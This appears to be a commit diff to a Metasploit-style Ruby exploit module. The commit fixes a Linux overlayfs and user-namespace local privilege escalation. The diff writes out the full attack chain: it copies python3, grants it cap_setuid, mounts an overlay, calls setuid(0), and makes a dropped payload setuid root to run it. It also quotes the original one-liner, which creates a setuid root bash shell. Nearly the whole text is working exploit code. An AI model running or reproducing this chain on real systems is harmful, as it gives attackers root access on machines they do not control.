Fix unterminated string, fix directory for calling python copy

Author: Corey

modules/exploits/linux/local/game_overlay_privesc.rb

@@ -98,31 +98,29 @@ def execute_command(cmd, opts = {})
 
     payload_dir = datastore['PayloadDir']
 
-    directories = %w[low up wrk mnt].flat_map {|e| "/tmp/main/#{e}"}
+    directories = %w[l u w m].flat_map {|e| "/tmp/main/#{e}"}
 
     # Should we make sure directory doesn't already exist?
 
     directories.each do |dir|
       print_status "Creating directory #{dir}"
       cmd_exec "mkdir -p #{dir}"
-      register_dir_for_cleanup dir
     end
+    # register_dir_for_cleanup "/tmp/main/"
 
 
    write_file "/tmp/main/marv", generate_payload_exe
    #works move test to low, run unshare mount set cap, shell
 
-   print_status "Copying python"
-   cmd_exec "cp /u*/b*/p*3 /tmp/main/low"
-
    print_status "Starting new namespace, and running exploit..."
 
-   hack = "unshare -rm sh -c \"setcap cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low, upperdir=/tmp/main/up, workdir=/tmp/main/work mnt && touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\"chown root:root /tmp/main/low/marv && chmod+x /tmp/main/marv && /tmp/main/marv \")\" "
+   hack = "unshare -rm sh -c \"cp /u*/b*/p*3 /tmp/main/l/; setcap cap_setuid+eip /tmp/main/l/python3; mount -t overlay overlay -o rw,lowerdir=/tmp/main/l,upperdir=/tmp/main/u,workdir=/tmp/main/w /tmp/main/m && touch /tmp/main/m/*\" && /tmp/main/u/python3 -c 'import os;os.setuid(0);os.system(\"chmod 4755 /tmp/main/marv && /tmp/main/marv\")' "
 
     # g1vi original 
     # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'" 
     print_status "Running exploit: '#{hack}' "
-    cmd_exec hack
+    puts cmd_exec_with_result(hack)
+
   end 
 
   def exploit